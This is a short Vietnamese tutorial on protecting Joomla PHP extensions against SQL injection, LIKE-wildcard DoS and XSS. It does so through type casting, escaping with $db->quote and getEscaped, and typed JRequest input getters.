Luôn ép kiểu dữ liệu cho các chuỗi đưa vào câu lệnh truy vấn SQL. Thí dụ:

Nếu muốn kiểu dữ liệu là kiểu nguyên (integer) thì sử dụng câu lệnh SQL:

$sql = ‘UPDATE #__mytable SET `id` = ‘ . (int) $int;

Nếu muốn kiểu dữ liệu là kiểu ngày/tháng (date) thì sử dụng câu lệnh SQL:

$date = & JFactory::getDate($mydate);
$sql = ‘UPDATE #__mytable SET `date` = ‘ . $db->quote( $date->toMySQL(), false);

Luôn gỡ bỏ ý nghĩa của những ký tự đặc biệt

Bạn cần gỡ bỏ ý nghĩa của những ký tự đặc biệt (những ký tự có khả năng gây nguy hiểm cho câu lệnh SQL) nằm trong các chuỗi dữ liệu được đưa vào câu lệnh SQL bằng câu lệnh:

$sql = ‘UPDATE #__mytable SET `string` = ‘ . $db->quote( $db->getEscaped( $string ), false );

Chống tấn công DOS

Trong các mệnh đề WHERE, nếu bạn có sử dụng lệnh LIKE, hãy đảm bảo rằng bạn đã lọc các ký tự đặc biệt như “%” và “_” thì sử dụng câu lệnh SQL:

$sql = ‘UPDATE #__mytable SET …. WHERE `string` LIKE ‘.
$db->quote( $db->getEscaped( $string, true ), false )

Chống tấn công XSS

Rất nhiều người có thói quen lấy dữ liệu nhập vào từ người dùng bằng câu lệnh JRequest::getVar(). Tuy nhiên đây là một thói quen không tốt. Thay vào đó bạn nên sử dụng các phương thức ép kiểu. Thí dụ:

Nếu muốn kiểu số nguyên, dùng câu lệnh:

$int = JRequest::getInt( $name, $default );

Nếu muốn kiểu số thực, dùng câu lệnh:

$float = JRequest::getFloat( $name, $default );

Nếu muốn kiểu logic (đúng/sai), dùng câu lệnh:

$bool = JRequest::getBool( $name, $default );

Nếu muốn kiểu từ (word): chỉ có các ký tự chữ cái và ký tự gạch dưới “_”, dùng câu lệnh:

$word = JRequest::getWord( $name, $default );

Nếu muốn kiểu câu lệnh (command): chỉ có các ký tự chữ cái, ký tự số, ký tự “.” và “_”, dùng câu lệnh:

$cmd = JRequest::getCMD( $name, $default );

Nếu muốn kiểu văn bản không phải HTML (văn bản đã được lọc bỏ các thẻ HTML), dùng câu lệnh:

$string = JRequest::getString( $name, $default );

Tham khảo thêm:

* Preventing SQL Injections (tác giả: Anthony Ferrara – Joomla Core Team, bài gốc tiếng Anh)
* SQL Injection
* API getEscaped
* database->getEscaped

Theo vinaora